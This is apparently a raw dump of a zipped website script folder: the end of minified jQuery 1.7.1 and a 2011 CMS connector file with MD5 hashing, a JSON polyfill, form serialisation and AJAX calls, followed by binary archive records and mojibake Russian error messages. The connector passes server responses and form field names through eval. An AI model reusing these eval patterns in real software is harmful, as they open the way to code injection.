g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(ce,l),b.url===j&&(e&&(k=k.replace(ce,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,cf&&delete ch[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf&&(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,cp,cq=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu("show",3),a,b,c);for(var g=0,h=this.length;g=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,"padding")):this[d]():null},f.fn["outer"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?"margin":"border")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);PK})[v±>½?½?t_connector.jsnuW+A„¶/* * @author Mozg * @copyright 2011 * @company reactive.by * @require jquery */ var hex_chr = "0123456789abcdef"; function rhex(num){str="";for(j = 0; j <= 3; j++) str += hex_chr.charAt((num >> (j * 8 + 4)) & 0x0F) + hex_chr.charAt((num >> (j * 8)) & 0x0F); return str;} function str2blks_MD5(str){nblk = ((str.length + 8) >> 6) + 1;blks = new Array(nblk * 16);for(i = 0; i < nblk * 16; i++) blks[i] = 0;for(i = 0; i < str.length; i++) blks[i >> 2] |= str.charCodeAt(i) << ((i % 4) * 8); blks[i >> 2] |= 0x80 << ((i % 4) * 8); blks[nblk * 16 - 2] = str.length * 8; return blks;} function add(x, y){ var lsw = (x & 0xFFFF) + (y & 0xFFFF); var msw = (x >> 16) + (y >> 16) + (lsw >> 16); return (msw << 16) | (lsw & 0xFFFF);} function rol(num, cnt) {return (num << cnt) | (num >>> (32 - cnt));} function cmn(q, a, b, x, s, t){return add(rol(add(add(a, q), add(x, t)), s), b);} function ff(a, b, c, d, x, s, t){return cmn((b & c) | ((~b) & d), a, b, x, s, t);} function gg(a, b, c, d, x, s, t){return cmn((b & d) | (c & (~d)), a, b, x, s, t);} function hh(a, b, c, d, x, s, t){return cmn(b ^ c ^ d, a, b, x, s, t);} function ii(a, b, c, d, x, s, t){return cmn(c ^ (b | (~d)), a, b, x, s, t);} function MD5(str){x = str2blks_MD5(str);a=1732584193;b=-271733879;c=-1732584194;d=271733878; for(i = 0; i < x.length; i += 16){olda=a;oldb=b;oldc=c;oldd=d;a=ff(a, b, c, d, x[i+ 0], 7 , -680876936);d = ff(d, a, b, c, x[i+ 1], 12, -389564586);c = ff(c, d, a, b, x[i+ 2], 17, 606105819);b = ff(b, c, d, a, x[i+ 3], 22, -1044525330);a = ff(a, b, c, d, x[i+ 4], 7 , -176418897);d = ff(d, a, b, c, x[i+ 5], 12, 1200080426);c = ff(c, d, a, b, x[i+ 6], 17, -1473231341);b = ff(b, c, d, a, x[i+ 7], 22, -45705983); a = ff(a, b, c, d, x[i+ 8], 7 , 1770035416);d = ff(d, a, b, c, x[i+ 9], 12, -1958414417);c = ff(c, d, a, b, x[i+10], 17, -42063);b = ff(b, c, d, a, x[i+11], 22, -1990404162); a = ff(a, b, c, d, x[i+12], 7 , 1804603682);d=ff(d,a,b,c,x[i+13],12,-40341101);c=ff(c,d,a,b,x[i+14],17,-1502002290);b=ff(b,c,d,a,x[i+15],22,1236535329);a=gg(a,b,c,d,x[i+ 1],5 ,-165796510);d=gg(d,a,b,c,x[i+ 6],9 ,-1069501632);c=gg(c,d,a,b,x[i+11],14,643717713);b=gg(b,c,d,a,x[i+ 0],20,-373897302);a=gg(a,b,c,d,x[i+ 5],5 ,-701558691);d=gg(d,a,b,c,x[i+10],9 ,38016083);c=gg(c,d,a,b,x[i+15],14,-660478335);b=gg(b,c,d,a,x[i+ 4],20,-405537848);a=gg(a,b,c,d,x[i+ 9],5 ,568446438);d=gg(d,a,b,c,x[i+14],9 ,-1019803690);c=gg(c,d,a,b,x[i+ 3],14,-187363961);b=gg(b,c,d,a,x[i+ 8],20,1163531501);a=gg(a,b,c,d,x[i+13],5 ,-1444681467);d=gg(d,a,b,c,x[i+ 2],9 ,-51403784);c=gg(c,d,a,b,x[i+ 7],14,1735328473);b=gg(b,c,d,a,x[i+12],20,-1926607734);a=hh(a,b,c,d,x[i+ 5],4 ,-378558);d=hh(d,a,b,c,x[i+ 8],11,-2022574463);c=hh(c,d,a,b,x[i+11],16,1839030562);b=hh(b,c,d,a,x[i+14],23,-35309556);a=hh(a,b,c,d,x[i+ 1],4 ,-1530992060);d=hh(d,a,b,c,x[i+ 4],11,1272893353);c=hh(c,d,a,b,x[i+ 7],16,-155497632);b=hh(b,c,d,a,x[i+10],23,-1094730640);a=hh(a,b,c,d,x[i+13],4 ,681279174);d=hh(d,a,b,c,x[i+ 0],11,-358537222);c=hh(c,d,a,b,x[i+ 3],16,-722521979);b=hh(b,c,d,a,x[i+ 6],23,76029189);a=hh(a,b,c,d,x[i+ 9],4 ,-640364487);d=hh(d,a,b,c,x[i+12],11,-421815835);c=hh(c,d,a,b,x[i+15],16,530742520);b=hh(b,c,d,a,x[i+ 2],23,-995338651);a=ii(a,b,c,d,x[i+ 0],6 ,-198630844);d=ii(d,a,b,c,x[i+ 7],10,1126891415);c=ii(c,d,a,b,x[i+14],15,-1416354905);b=ii(b,c,d,a,x[i+ 5],21,-57434055);a=ii(a,b,c,d,x[i+12],6 ,1700485571);d=ii(d,a,b,c,x[i+ 3],10,-1894986606);c=ii(c,d,a,b,x[i+10],15,-1051523);b=ii(b,c,d,a,x[i+ 1],21,-2054922799);a=ii(a,b,c,d,x[i+ 8],6 ,1873313359);d=ii(d,a,b,c,x[i+15],10,-30611744);c=ii(c,d,a,b,x[i+ 6],15,-1560198380);b=ii(b,c,d,a,x[i+13],21,1309151649);a=ii(a,b,c,d,x[i+ 4],6 ,-145523070);d=ii(d,a,b,c,x[i+11],10,-1120210379);c=ii(c,d,a,b,x[i+ 2],15,718787259);b=ii(b,c,d,a,x[i+ 9],21,-343485551);a = add(a, olda);b = add(b, oldb);c = add(c, oldc);d = add(d, oldd);}return rhex(a) + rhex(b) + rhex(c) + rhex(d);} var JSON; if (!JSON) { JSON = {};} (function () { "use strict"; function f(n) { return n < 10 ? '0' + n : n; } if (typeof Date.prototype.toJSON !== 'function') { Date.prototype.toJSON = function (key) { return isFinite(this.valueOf()) ? this.getUTCFullYear() + '-' + f(this.getUTCMonth() + 1) + '-' + f(this.getUTCDate()) + 'T' + f(this.getUTCHours()) + ':' + f(this.getUTCMinutes()) + ':' + f(this.getUTCSeconds()) + 'Z' : null; }; String.prototype.toJSON = Number.prototype.toJSON = Boolean.prototype.toJSON = function (key) { return this.valueOf(); }; } var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, gap, indent, meta = { '\b': '\\b', '\t': '\\t', '\n': '\\n', '\f': '\\f', '\r': '\\r', '"' : '\\"', '\\': '\\\\' }, rep; function quote(string) { escapable.lastIndex = 0; return escapable.test(string) ? '"' + string.replace(escapable, function (a) { var c = meta[a]; return typeof c === 'string' ? c : '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); }) + '"' : '"' + string + '"'; } function str(key, holder) { var i,k,v,length,mind = gap,partial,value = holder[key]; if (value && typeof value === 'object' && typeof value.toJSON === 'function') { value = value.toJSON(key);} if (typeof rep === 'function') { value = rep.call(holder, key, value); } switch (typeof value) { case 'string': return quote(value); case 'number': return isFinite(value) ? String(value) : 'null'; case 'boolean': case 'null': return String(value); case 'object': if (!value) { return 'null';} gap += indent; partial = []; if (Object.prototype.toString.apply(value) === '[object Array]') {length = value.length; for (i = 0; i < length; i += 1) { partial[i] = str(i, value) || 'null'; } v = partial.length === 0 ? '[]' : gap ? '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']' : '[' + partial.join(',') + ']'; gap = mind; return v; } if (rep && typeof rep === 'object') { length = rep.length; for (i = 0; i < length; i += 1) { if (typeof rep[i] === 'string') { k = rep[i]; v = str(k, value); if (v) { partial.push(quote(k) + (gap ? ': ' : ':') + v); }}} } else { for (k in value) {if (Object.prototype.hasOwnProperty.call(value, k)) { v = str(k, value); if (v) { partial.push(quote(k) + (gap ? ': ' : ':') + v); }}} } v = partial.length === 0 ? '{}' : gap ? '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}' : '{' + partial.join(',') + '}'; gap = mind; return v; } } if (typeof JSON.stringify !== 'function') { JSON.stringify = function (value, replacer, space) { var i; gap = ''; indent = ''; if (typeof space === 'number') {for (i = 0; i < space; i += 1) { indent += ' '; } } else if (typeof space === 'string') { indent = space; } rep = replacer; if (replacer && typeof replacer !== 'function' && (typeof replacer !== 'object' || typeof replacer.length !== 'number')) { throw new Error('JSON.stringify'); } return str('', {'': value}); }; } if (typeof JSON.parse !== 'function') { JSON.parse = function (text, reviver) { var j; function walk(holder, key) {var k, v, value = holder[key]; if (value && typeof value === 'object') {for (k in value) { if (Object.prototype.hasOwnProperty.call(value, k)) { v = walk(value, k); if (v !== undefined) { value[k] = v; } else { delete value[k]; }}}}return reviver.call(holder, key, value); }text = String(text);cx.lastIndex = 0; if (cx.test(text)) { text = text.replace(cx, function (a) { return '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); }); } if (/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@').replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']').replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) { j = eval('(' + text + ')'); return typeof reviver === 'function' ? walk({'': j}, '') : j; } throw new SyntaxError('JSON.parse'); }; } }()); function export_form(id,remove_prefix){ if(typeof remove_prefix == 'undefined' ) {remove_prefix='';} if(typeof id=='object'){ var form = id; } else{ var form = document.getElementById(id); } if (form == null) { return null; } if (typeof(form.elements) == 'undefined') { return null; } var formData = {}; for (var iterator = 0; iterator < form.elements.length; iterator ++) { var element = form.elements[iterator]; if (element.disabled) { continue; } var elementType = element.tagName.toLowerCase(); var elementName = null; var elementValue = null; if ( (typeof(element.name) != 'undefined') && (element.name.length > 0)) {elementName = element.name; } else if ( (typeof(element.id) != 'undefined') &&(element.id.length > 0)) { elementName = element.id; } if (elementName != null) { if (elementType == 'input') { if ( (element.type == 'text') || (element.type == 'password') || (element.type == 'button') || (element.type == 'submit') || (element.type == 'hidden')) { elementValue = element.value; } else if (element.type == 'checkbox') { elementValue = element.checked; } else if (element.type == 'radio') { if (element.checked) { elementValue = element.value; } else { try { var type = eval('typeof(formData.' + elementName + ')'); if (type != 'undefined') { continue; } } catch (e) { continue; } } } else if (element.type == 'file') { elementValue = element.value; } } else if (elementType == 'select') { if (element.options.length > 0) { if (element.multiple) { elementName = elementName.replace(/\[\]$/ig, ''); elementValue = []; for (var optionsIterator = 0; optionsIterator < element.options.length; optionsIterator ++) { if(element.getAttribute('fullselect')) { elementValue[element.options[optionsIterator].value]=element.options[optionsIterator].text; } else{ if (element.options[optionsIterator].selected) { elementValue.push(element.options[optionsIterator].value); } } } } else { if (element.selectedIndex >= 0) { elementValue = element.options[element.selectedIndex].value; } } } } else if (elementType == 'textarea') { elementValue = element.value; } try { if (remove_prefix){ var len = remove_prefix.length; if (elementName.slice(0,len) == remove_prefix) { elementName =elementName.slice(len); } } if (/^(\w+)\[(\w+)\]$/.test(element.name)){ var match = element.name.match(/^(\w+)\[(\w+)\]$/); if (typeof formData[match[1]] == 'undefined') { formData[match[1]]={}; } eval('formData.' + match[1] + '.' + match[2] + ' = elementValue;'); } else { eval('formData.' + elementName + ' = elementValue;'); } } catch (e) {} } } return formData; }; function cms_connector(module) { this.async = true; this.callback = null; this.result = []; this.raw=false; this.module = '_common'; this.cache = {}; if (typeof module == 'string') { this.module = module; } else { this.module = false; } this.cache_key = false; this.callback_cache = {}; this.execute = function(request,callback,raw) { if (typeof request == 'undefined') return false; if (typeof raw == 'undefined') { this.raw=false;} else { this.raw=true; } if (typeof callback == 'function') { this.async=true; this.callback=callback; } else { this.async=false; this.callback=null; } this.result=[]; var serialized_request = JSON.stringify(request); serialized_request.toString(); serialized_request = serialized_request.split('&').join('%%xamp;%%'); var modulestr = (typeof this.module == 'string' && this.module && this.module != '_common') ? 'module='+this.module+'$' : ''; var params = { 'dataType' : 'json', 'url' : document.location.protocol + '//' + document.location.host + '/cms/modules/connector/index.php', 'type' : 'POST', 'data' : 'request=' + modulestr+serialized_request, 'async' : this.async, 'processData' : true, 'complete' : $.proxy(function(answer){ if (this.raw) { this.result=answer.responseText; } else { var response = false; if (this.module == false) {this.module = '_common';} if (this.cache_key) { this.cache[this.module][this.cache_key]=false; } if (answer.responseText != ""){ response = eval( "(" + answer.responseText + ")" ); } this.result = response; if (typeof response['_context'] != 'undefined'){ this.cache_key = response['_context']; } if (this.cache_key) { var cache_key=this.cache_key; this.cache[this.module][this.cache_key]=response; if (typeof this.callback_cache[module][this.cache_key] == 'function') { this.last_callback=this.callback_cache[module][cache_key]; this.last_callback(); } this.cache_key=false; } } if (this.async) { this.callback(); } },this) }; $.ajax(params); }; this.executex = function(request,callback,raw){ if ( typeof raw != 'undefined') { this.execute(request); } var module = this.module; if (module == "" || !module) { module="_common";} var cache_key = MD5(JSON.stringify(request)); if (typeof this.cache[module] == 'undefined') { this.cache[module]={}} if (typeof this.cache[module][cache_key] != 'undefined') { this.result = this.cache[module][cache_key]; if (typeof this.callback_cache[module][cache_key] == 'function') { this.last_callback = this.callback_cache[module][cache_key]; this.last_callback(); } return true; } if (callback){ if (typeof this.callback_cache[module] == 'undefined') { this.callback_cache[module]={}} if (typeof this.callback_cache[module][cache_key] == 'undefined') { this.callback_cache[module][cache_key]=callback; } } request['_context']=this.cache_key=cache_key; this.execute(request); } this.clear_cache = function(){ this.cache={}; } }; var connector = new cms_connector(); var EMr = 'Извините, произошла ошибка c отправкой запроÑа!'; var EMn = 'Извините, произошла ошибка. (Код ошибки : '; var EM = 'Извините, произошла ошибка.'; function stdcheck(cconnector){ if (!cconnector.result){ alert(EMr); return false; } if (!cconnector.result.passed){ if (cconnector.result.error){ alert(EMn+cconnector.result.error+')'); } else {alert(EM);} return false; } return cconnector.result; }PK})[n’Nˆ¦ˆ¦ script.phpnuW+A„¶PK})[„5½&ý2ý2¦livevalidation.jsnuW+A„¶PK})[ÈPº¶ÕCÕC Úconnector.jsnuW+A„¶PK})[̳lÍîîdebug.jsnuW+A„¶PK})[ïk>Áüü 7xfront.jsnuW+A„¶PK})[TE-ñ¬n¬nl jquery-1.7.1.min.jsnuW+A„¶PK})[v±>½?½?[t_connector.jsnuW+A„¶PKVÏ